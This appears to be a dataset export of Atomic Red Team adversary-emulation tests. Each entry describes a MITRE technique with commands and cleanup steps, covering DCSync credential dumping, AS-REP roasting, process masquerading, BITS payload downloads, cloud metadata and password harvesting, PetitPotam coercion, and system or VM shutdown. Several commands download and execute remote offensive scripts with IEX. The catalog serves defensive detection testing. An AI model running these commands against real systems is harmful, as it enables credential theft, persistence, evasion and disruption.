deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete TeamViewer Log Files
Platforms: windows
Executor: powershell

Description:
Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration.
This test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer
log file format of TeamViewer_##.log. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.

https://twitter.com/SBousseaden/status/[PII_REDACTED]04290305?s=20


Command:
New-Item -Path #{teamviewer_log_file} -Force | Out-Null
Remove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Clears Recycle bin via rd
Platforms: windows
Executor: command_prompt

Description:
An adversary clears the recycle bin in the system partition using rd to remove traces of deleted files.
[Reference](https://thedfirreport.com/2024/08/12/threat-actors-toolkit-leveraging-sliver-poshc2-batch-scripts/)


Command:
rd /s /q %systemdrive%\$RECYCLE.BIN
Atomic Red Team — T1003.006: OS Credential Dumping: DCSync
Test: DCSync (Active Directory)
Platforms: windows
Executor: command_prompt

Description:
Active Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database.
Works against a remote Windows Domain Controller using the replication protocol.
Privileges required: domain admin or domain controller account (by default), or any other account with required rights.
[Reference](https://adsecurity.org/?p=1729)


Command:
#{mimikatz_path} "lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}" "exit"


Dependencies:
Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
Atomic Red Team — T1003.006: OS Credential Dumping: DCSync
Test: Run DSInternals Get-ADReplAccount
Platforms: windows
Executor: powershell

Description:
The following Atomic will run Get-ADReplAccount from DSInternals.
Upon successful execution, domain and credentials will appear in stdout. 
[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellarParticle.
https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/


Command:
Get-ADReplAccount -All -Server #{logonserver}


Dependencies:
DSInternals must be installed
Atomic Red Team — T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting
Test: Rubeus asreproast
Platforms: windows
Executor: powershell

Description:
Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus


Command:
cmd.exe /c "#{local_folder}\#{local_executable}" asreproast /outfile:"#{local_folder}\#{out_file}"


Cleanup:
Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore


Dependencies:
Computer must be domain joined

Rubeus must exist
Atomic Red Team — T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting
Test: Get-DomainUser with PowerView
Platforms: windows
Executor: powershell

Description:
Utilizing PowerView, run Get-DomainUser to identify domain users. Upon execution, progress and info about users within the domain being scanned will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
Atomic Red Team — T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting
Test: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus
Platforms: windows
Executor: powershell

Description:
PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap"
Atomic Red Team — T1036.003: Masquerading: Rename System Utilities
Test: Masquerading as Windows LSASS process
Platforms: windows
Executor: command_prompt

Description:
Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.

Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session


Command:
copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
%SystemRoot%\Temp\lsass.exe /B


Cleanup:
del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1
Atomic Red Team — T1036.003: Masquerading: Rename System Utilities
Test: Masquerading as FreeBSD or Linux crond process.
Platforms: linux
Executor: sh

Description:
Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.

Upon successful execution, sh is renamed to `crond` and executed.


Command:
cp /bin/sh /tmp/crond;
echo 'sleep 5' | /tmp/crond


Cleanup:
rm /tmp/crond
Atomic Red Team — T1036.003: Masquerading: Rename System Utilities
Test: Masquerading - cscript.exe running as notepad.exe
Platforms: windows
Executor: command_prompt

Description:
Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.

Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.


Command:
copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y
cmd.exe /c %APPDATA%\notepad.exe /B


Cleanup:
del /Q /F %APPDATA%\notepad.exe >nul 2>&1
Atomic Red Team — T1036.003: Masquerading: Rename System Utilities
Test: Masquerading - wscript.exe running as svchost.exe
Platforms: windows
Executor: command_prompt

Description:
Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.

Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder


Command:
copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y
cmd.exe /c %APPDATA%\svchost.exe "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs"


Cleanup:
del /Q /F %APPDATA%\svchost.exe >nul 2>&1


Dependencies:
Wscript file to execute must exist on disk
Atomic Red Team — T1036.003: Masquerading: Rename System Utilities
Test: Masquerading - powershell.exe running as taskhostw.exe
Platforms: windows
Executor: command_prompt

Description:
Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.

Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.


Command:
copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y
cmd.exe /K %APPDATA%\taskhostw.exe


Cleanup:
del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1
Atomic Red Team — T1036.003: Masquerading: Rename System Utilities
Test: Masquerading - non-windows exe running as windows exe
Platforms: windows
Executor: powershell

Description:
Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe

Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.


Command:
copy "#{inputfile}" #{outputfile}
try { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }
catch { $_; exit $_.Exception.HResult}
Stop-Process -ID $myT1036_003


Cleanup:
Remove-Item #{outputfile} -Force -ErrorAction Ignore


Dependencies:
Exe file to copy must exist on disk at specified location (#{inputfile})
Atomic Red Team — T1036.003: Masquerading: Rename System Utilities
Test: Masquerading - windows exe running as different windows exe
Platforms: windows
Executor: powershell

Description:
Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe


Command:
copy "#{inputfile}" #{outputfile}
$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id
Stop-Process -ID $myT1036_003


Cleanup:
Remove-Item #{outputfile} -Force -ErrorAction Ignore
Atomic Red Team — T1036.003: Masquerading: Rename System Utilities
Test: Malicious process Masquerading as LSM.exe
Platforms: windows
Executor: command_prompt

Description:
Detect LSM running from an incorrect directory and an incorrect service account
This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder.

Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.


Command:
copy C:\Windows\System32\cmd.exe C:\lsm.exe
C:\lsm.exe /c echo T1036.003 > C:\T1036.003.txt


Cleanup:
del C:\T1036.003.txt >nul 2>&1
del C:\lsm.exe >nul 2>&1
Atomic Red Team — T1651: Cloud Administration Command
Test: AWS Run Command (and Control)
Platforms: iaas:aws
Executor: powershell

Description:
This test simulates an adversary using the AWS Run Command service to execute commands on EC2 instances.


Command:
Import-Module "PathToAtomicsFolder/T1651/src/T1651-1/AWSSSMAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1" -TerraformVariables @("profile=T1651-1", "region=$region")
Invoke-SSMAttack -AWSProfile "T1651-1" -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1"
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomic

Dependencies:
The AWS PowerShell module must be installed.

Terraform must be installed.
Atomic Red Team — T1059.007: Command and Scripting Interpreter: JavaScript
Test: JScript execution to gather local computer information via cscript
Platforms: windows
Executor: command_prompt

Description:
JScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\T1059.007.out.txt

Command:
cscript "#{jscript}" > %tmp%\T1059.007.out.txt


Cleanup:
del %tmp%\T1059.007.out.txt >nul 2>&1

Dependencies:
Sample script must exist on disk at specified location (#{jscript})
Atomic Red Team — T1059.007: Command and Scripting Interpreter: JavaScript
Test: JScript execution to gather local computer information via wscript
Platforms: windows
Executor: command_prompt

Description:
JScript execution test, execute JScript via wscript command. When successful, system information will be shown with four message boxes.

Command:
wscript "#{jscript}"


Dependencies:
Sample script must exist on disk at specified location (#{jscript})
Atomic Red Team — T1552.005: Unsecured Credentials: Cloud Instance Metadata API
Test: Azure - Search Azure AD User Attributes for Passwords
Platforms: azure-ad
Executor: powershell

Description:
This test uses the MSOnline Powershell module to retrieve all user attributes for a specified account, which can sometimes contain unsecured credentials. 
Upon successful execution, this test will scan all user attributes for any strings containing "password".
Those unsecured credentials will be output to a text file, as well as the account that they are associated with and the user attribute in which they were found. 
See: https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md


Command:
import-module msonline
$[CREDENTIAL_REDACTED]-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-MsolService -Credential $Credential
$users = Get-MsolUser -All;
foreach($user in $users)
{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; 
foreach($prop in $props)
{if($user.$prop -like "*password*")
{("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop) | out-file -filepath $env:temp\T1552.005Test1.txt -append -force}}}
get-content -path $env:temp\T1552.005Test1.txt -erroraction silentlycontinue


Cleanup:
remove-item $env:temp\T1552.005Test1.txt -force -erroraction silentlycontinue


Dependencies:
The MSOnline module must be installed.
Atomic Red Team — T1552.005: Unsecured Credentials: Cloud Instance Metadata API
Test: Azure - Dump Azure Instance Metadata from Virtual Machines
Platforms: iaas:azure
Executor: powershell

Description:
This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. 
See: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/


Command:
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 > #{output_file}


Cleanup:
remove-item #{output_file} -force -erroraction silentlycontinue
Atomic Red Team — T1187: Forced Authentication
Test: PetitPotam
Platforms: windows
Executor: powershell

Description:
This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.


Command:
& "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
Write-Host "End of PetitPotam attack"


Dependencies:
PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).
And the computer must be domain joined (implicit authentication).
Atomic Red Team — T1187: Forced Authentication
Test: WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS
Platforms: windows
Executor: powershell

Description:
PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1')
Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true"
Atomic Red Team — T1187: Forced Authentication
Test: Trigger an authenticated RPC call to a target server with no Sign flag set
Platforms: windows
Executor: powershell

Description:
RpcPing command can be used to trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign flag not Set)
Ref: https://twitter.com/splinter_code/status/[PII_REDACTED]78988298

Command:
rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null
Atomic Red Team — T1197: BITS Jobs
Test: Bitsadmin Download (cmd)
Platforms: windows
Executor: command_prompt

Description:
This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload


Command:
bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}


Cleanup:
del #{local_file} >nul 2>&1
Atomic Red Team — T1197: BITS Jobs
Test: Bitsadmin Download (PowerShell)
Platforms: windows
Executor: powershell

Description:
This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload leveraging PowerShell

Upon execution you will find a github markdown file downloaded to the Temp directory


Command:
Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}


Cleanup:
Remove-Item #{local_file} -ErrorAction Ignore
Atomic Red Team — T1197: BITS Jobs
Test: Persist, Download, & Execute
Platforms: windows
Executor: command_prompt

Description:
This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.
Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.
This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS"
This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.


Command:
bitsadmin.exe /create #{bits_job_name}
bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL
bitsadmin.exe /resume #{bits_job_name}
ping -n 5 127.0.0.1 >nul 2>&1
bitsadmin.exe /complete #{bits_job_name}


Cleanup:
del #{local_file} >nul 2>&1
Atomic Red Team — T1197: BITS Jobs
Test: Bits download using desktopimgdownldr.exe (cmd)
Platforms: windows
Executor: command_prompt

Description:
This test simulates using desktopimgdownldr.exe to download a malicious file
instead of a desktop or lockscreen background img. The process that actually makes 
the TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) 
and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/


Command:
set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr


Cleanup:
del #{cleanup_path}\#{cleanup_file} >nul 2>&1
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Shutdown System - Windows
Platforms: windows
Executor: command_prompt

Description:
This test shuts down a Windows system.


Command:
shutdown /s /t #{timeout}
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Restart System - Windows
Platforms: windows
Executor: command_prompt

Description:
This test restarts a Windows system.


Command:
shutdown /r /t #{timeout}
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Restart System via `shutdown` - FreeBSD/macOS/Linux
Platforms: linux, macos
Executor: sh

Description:
This test restarts a FreeBSD/macOS/Linux system.


Command:
shutdown -r #{timeout}
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Shutdown System via `shutdown` - FreeBSD/macOS/Linux
Platforms: linux, macos
Executor: sh

Description:
This test shuts down a FreeBSD/macOS/Linux system using a halt.


Command:
shutdown -h #{timeout}
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Restart System via `reboot` - FreeBSD/macOS/Linux
Platforms: linux, macos
Executor: sh

Description:
This test restarts a FreeBSD/macOS/Linux system via `reboot`.


Command:
reboot
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Shutdown System via `halt` - FreeBSD/Linux
Platforms: linux
Executor: sh

Description:
This test shuts down a FreeBSD/Linux system using `halt`.


Command:
halt -p
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Reboot System via `halt` - FreeBSD
Platforms: linux
Executor: sh

Description:
This test restarts a FreeBSD system using `halt`.


Command:
halt -r
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Reboot System via `halt` - Linux
Platforms: linux
Executor: bash

Description:
This test restarts a Linux system using `halt`.


Command:
halt --reboot
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Shutdown System via `poweroff` - FreeBSD/Linux
Platforms: linux
Executor: sh

Description:
This test shuts down a FreeBSD/Linux system using `poweroff`.


Command:
poweroff
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Reboot System via `poweroff` - FreeBSD
Platforms: linux
Executor: sh

Description:
This test restarts a FreeBSD system using `poweroff`.


Command:
poweroff -r 3
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Reboot System via `poweroff` - Linux
Platforms: linux
Executor: bash

Description:
This test restarts a Linux system using `poweroff`.


Command:
poweroff --reboot
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Logoff System - Windows
Platforms: windows
Executor: command_prompt

Description:
This test performs a Windows system logoff as seen in [dcrat backdoor capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor)


Command:
shutdown /l
Atomic Red Team — T1529: System Shutdown/Reboot
Test: ESXi - Terminates VMs using pkill
Platforms: windows
Executor: command_prompt

Description:
In VMWARE ESXi, process names starting with vmx are associated with running VMs. An adversary can use the pkill command to kill all processes with a prefix vmx.
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)


Command:
echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"


Dependencies:
Check if plink is available.
Atomic Red Team — T1529: System Shutdown/Reboot
Test: ESXi - Avoslocker enumerates VMs and forcefully kills VMs
Platforms: windows
Executor: command_prompt

Description:
Avoslocker malware has inbuilt functionality to enumerate the VM instances and uses the esxcli command to forcefully power off them.
[Reference](https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html)


Command:
echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"


Dependencies:
Check if plink is available.
Atomic Red Team — T1529: System Shutdown/Reboot
Test: ESXi - vim-cmd Used to Power Off VMs
Platforms: windows
Executor: command_prompt

Description:
Adversaries may power off VMs to facilitate the deployment of ransomware payloads.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#power%20off%20vm)


Command:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/power.off $i & done"


Dependencies:
Check if we have plink
Atomic Red Team — T1529: System Shutdown/Reboot
Test: Abuse of Linux Magic System Request Key for Reboot
Platforms: linux
Executor: bash

Description:
adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can forced to reboot.


Command:
echo "b" > /proc/sysrq-trigger
Atomic Red Team — T1559.002: Inter-Process Communication: Dynamic Data Exchange
Test: Execute Commands
Platforms: windows
Executor: manual

Description:
Executes commands via DDE using Microsfot Word
Atomic Red Team — T1559.002: Inter-Process Communication: Dynamic Data Exchange
Test: Execute PowerShell script via Word DDE
Platforms: windows
Executor: command_prompt

Description:
When the word document opens it will prompt the user to click ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download and execute a powershell script


Command:
start "$PathToAtomicsFolder\T1559.002\bin\DDE_Document.docx"
Atomic Red Team — T1559.002: Inter-Process Communication: Dynamic Data Exchange
Test: DDEAUTO
Platforms: windows
Executor: manual

Description:

TrustedSec - Unicorn - https://github.com/trustedsec/unicorn

SensePost DDEAUTO - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Word VBA Macro

[Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail)
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Attaches Command Prompt as a Debugger to a List of Target Processes
Platforms: windows
Executor: powershell

Description:
Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.
Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.


Command:
$input_table = "#{parent_list}".split(",")
$Name = "Debugger"
$Value = "#{attached_process}"
Foreach ($item in $input_table){
  $item = $item.trim()
  $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
  IF(!(Test-Path $registryPath))
  {
    New-Item -Path $registryPath -Force
    New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
  }
  ELSE
  {
    New-ItemProperty -Path $registryPath -Name $name -Value $Value
  }
}


Cleanup:
$input_table = "#{parent_list}".split(",")
Foreach ($item in $input_table)
{
  $item = $item.trim()
  reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null
}